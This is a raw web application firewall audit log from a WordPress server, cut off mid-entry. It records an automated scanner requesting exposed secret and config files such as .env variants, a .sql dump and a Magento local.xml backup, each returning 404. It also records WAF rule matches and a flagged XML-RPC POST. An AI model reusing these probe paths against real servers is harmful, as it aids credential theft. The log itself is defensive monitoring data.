--f38c4e6f-Z-- --baba5c2f-A-- [16/Jun/2025:05:06:20.087756 +0530] aE9Y82M0Xdzjsxbr1PzuxAAAAAY 185.177.72.210 42528 127.0.0.1 7081 --baba5c2f-B-- GET /2005.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --baba5c2f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3019731430ff1a460ce5519f66657bfe1750030579; expires=Mon, 16 Jun 2025 00:36:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --baba5c2f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2005.sql"] [unique_id "aE9Y82M0Xdzjsxbr1PzuxAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030579412524 675295 (- - -) Stopwatch2: 1750030579412524 675295; combined=1871, p1=349, p2=1419, p3=0, p4=0, p5=102, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --baba5c2f-Z-- --1c45557a-A-- [16/Jun/2025:05:06:24.155528 +0530] aE9Y9387s8ehggCfEuazNwAAAAQ 185.177.72.210 42642 127.0.0.1 7081 --1c45557a-B-- GET /:8080/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c45557a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1de9fb1d0c42fee2cc6d94c254243dda1750030583; expires=Mon, 16 Jun 2025 00:36:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c45557a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.5"] [unique_id "aE9Y9387s8ehggCfEuazNwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030583409951 745643 (- - -) Stopwatch2: 1750030583409951 745643; combined=153949, p1=531, p2=1647, p3=0, p4=0, p5=75934, sr=148, sw=1, l=0, gc=75836 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c45557a-Z-- --d39eb13f-A-- [16/Jun/2025:05:06:31.571012 +0530] aE9Y_n2GhYywD7zZgx4INQAAAAM 185.177.72.210 54270 127.0.0.1 7081 --d39eb13f-B-- GET /tmp/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d39eb13f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3e603ea205ef92e30dd261a9cb58f9181750030591; expires=Mon, 16 Jun 2025 00:36:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d39eb13f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/config/.env"] [unique_id "aE9Y_n2GhYywD7zZgx4INQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030590920098 650979 (- - -) Stopwatch2: 1750030590920098 650979; combined=2580, p1=569, p2=1902, p3=0, p4=0, p5=108, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d39eb13f-Z-- --ed144c3f-A-- [16/Jun/2025:05:06:32.597564 +0530] aE9Y_1xTdrwJSUMoZvG4bAAAAAc 185.177.72.210 54436 127.0.0.1 7081 --ed144c3f-B-- GET /:8880/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ed144c3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=199f1520f829389aafccb4b9e3f095401750030592; expires=Mon, 16 Jun 2025 00:36:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ed144c3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/sicherung/.env"] [unique_id "aE9Y_1xTdrwJSUMoZvG4bAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030591887672 709974 (- - -) Stopwatch2: 1750030591887672 709974; combined=1588, p1=325, p2=1167, p3=0, p4=0, p5=96, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed144c3f-Z-- --8fe9c83e-A-- [16/Jun/2025:05:06:34.698868 +0530] aE9ZAn2GhYywD7zZgx4IOgAAAAM 185.177.72.210 54680 127.0.0.1 7081 --8fe9c83e-B-- GET /.env.docker HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8fe9c83e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f2ef656fbb6c0d107f00e1d8779f7cd1750030594; expires=Mon, 16 Jun 2025 00:36:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8fe9c83e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.docker"] [unique_id "aE9ZAn2GhYywD7zZgx4IOgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030594058078 640858 (- - -) Stopwatch2: 1750030594058078 640858; combined=2134, p1=392, p2=1637, p3=0, p4=0, p5=104, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8fe9c83e-Z-- --8f41ce6b-A-- [16/Jun/2025:05:06:35.678806 +0530] aE9ZA8alTF-TysO2fMOF0QAAAAE 185.177.72.210 54712 127.0.0.1 7081 --8f41ce6b-B-- GET /app/etc/local.xml.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8f41ce6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6bf2b5e04443eaed5ff0a4249942f6591750030595; expires=Mon, 16 Jun 2025 00:36:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8f41ce6b-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".xml.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.bak"] [unique_id "aE9ZA8alTF-TysO2fMOF0QAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".xml.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.bak"] [unique_id "aE9ZA8alTF-TysO2fMOF0QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030595016030 662848 (- - -) Stopwatch2: 1750030595016030 662848; combined=1760, p1=389, p2=1246, p3=0, p4=0, p5=124, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f41ce6b-Z-- --7acffa11-A-- [16/Jun/2025:05:06:39.081050 +0530] aE9ZBn2GhYywD7zZgx4IPAAAAAM 185.177.72.210 54844 127.0.0.1 7081 --7acffa11-B-- GET /:8888/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7acffa11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4672d51f5f506e75f1ab587b49d885071750030598; expires=Mon, 16 Jun 2025 00:36:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7acffa11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env~"] [unique_id "aE9ZBn2GhYywD7zZgx4IPAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030598420789 660340 (- - -) Stopwatch2: 1750030598420789 660340; combined=1957, p1=386, p2=1448, p3=0, p4=0, p5=122, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7acffa11-Z-- --76786568-A-- [16/Jun/2025:05:06:46.697554 +0530] aE9ZDn87s8ehggCfEuazQwAAAAQ 185.177.72.210 42604 127.0.0.1 7081 --76786568-B-- GET /config/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76786568-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=87b5b9573cb8ec46a93e4a7c33d2e8231750030606; expires=Mon, 16 Jun 2025 00:36:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76786568-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.bak"] [unique_id "aE9ZDn87s8ehggCfEuazQwAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.bak"] [unique_id "aE9ZDn87s8ehggCfEuazQwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030606028596 669022 (- - -) Stopwatch2: 1750030606028596 669022; combined=2065, p1=373, p2=1557, p3=0, p4=0, p5=135, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76786568-Z-- --1f39e02d-A-- [16/Jun/2025:05:06:50.998907 +0530] aE9ZEn87s8ehggCfEuazRgAAAAQ 185.177.72.210 58720 127.0.0.1 7081 --1f39e02d-B-- GET /:5601/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1f39e02d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5038d5a63e90b49f42259870e7ff92a31750030610; expires=Mon, 16 Jun 2025 00:36:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1f39e02d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/configurationtionura/.env"] [unique_id "aE9ZEn87s8ehggCfEuazRgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030610270895 728098 (- - -) Stopwatch2: 1750030610270895 728098; combined=1807, p1=396, p2=1282, p3=0, p4=0, p5=128, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1f39e02d-Z-- --d7f0b00a-A-- [16/Jun/2025:05:06:54.360588 +0530] aE9ZFX2GhYywD7zZgx4IQwAAAAM 185.177.72.210 58848 127.0.0.1 7081 --d7f0b00a-B-- GET /:8443/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d7f0b00a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8ad373c0ddfd5b4b58dc0fdfa7df5a761750030614; expires=Mon, 16 Jun 2025 00:36:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d7f0b00a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/src/.env"] [unique_id "aE9ZFX2GhYywD7zZgx4IQwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030613681220 679454 (- - -) Stopwatch2: 1750030613681220 679454; combined=1960, p1=383, p2=1435, p3=0, p4=0, p5=141, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7f0b00a-Z-- --2b6bba70-A-- [16/Jun/2025:05:07:00.970407 +0530] aE9ZHH87s8ehggCfEuazTAAAAAQ 185.177.72.210 60924 127.0.0.1 7081 --2b6bba70-B-- GET /.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b6bba70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=135e84f37e6592f4c106eed89746e66f1750030620; expires=Mon, 16 Jun 2025 00:37:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b6bba70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env"] [unique_id "aE9ZHH87s8ehggCfEuazTAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030620325149 645322 (- - -) Stopwatch2: 1750030620325149 645322; combined=1915, p1=420, p2=1401, p3=0, p4=0, p5=93, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b6bba70-Z-- --c2da9b6f-A-- [16/Jun/2025:05:07:07.387514 +0530] aE9ZIkoyC4_VyyL7sS6PXQAAAAI 185.177.72.210 32980 127.0.0.1 7081 --c2da9b6f-B-- GET /:5000/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c2da9b6f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=75e5af393207e4fc7742ae473ca506a21750030627; expires=Mon, 16 Jun 2025 00:37:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c2da9b6f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.3"] [unique_id "aE9ZIkoyC4_VyyL7sS6PXQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030626643052 744549 (- - -) Stopwatch2: 1750030626643052 744549; combined=1964, p1=393, p2=1441, p3=0, p4=0, p5=130, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c2da9b6f-Z-- --a75d2311-A-- [16/Jun/2025:05:07:11.926625 +0530] aE9ZJsalTF-TysO2fMOF5QAAAAE 128.199.112.101 35170 127.0.0.1 7081 --a75d2311-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a75d2311-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a75d2311-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified 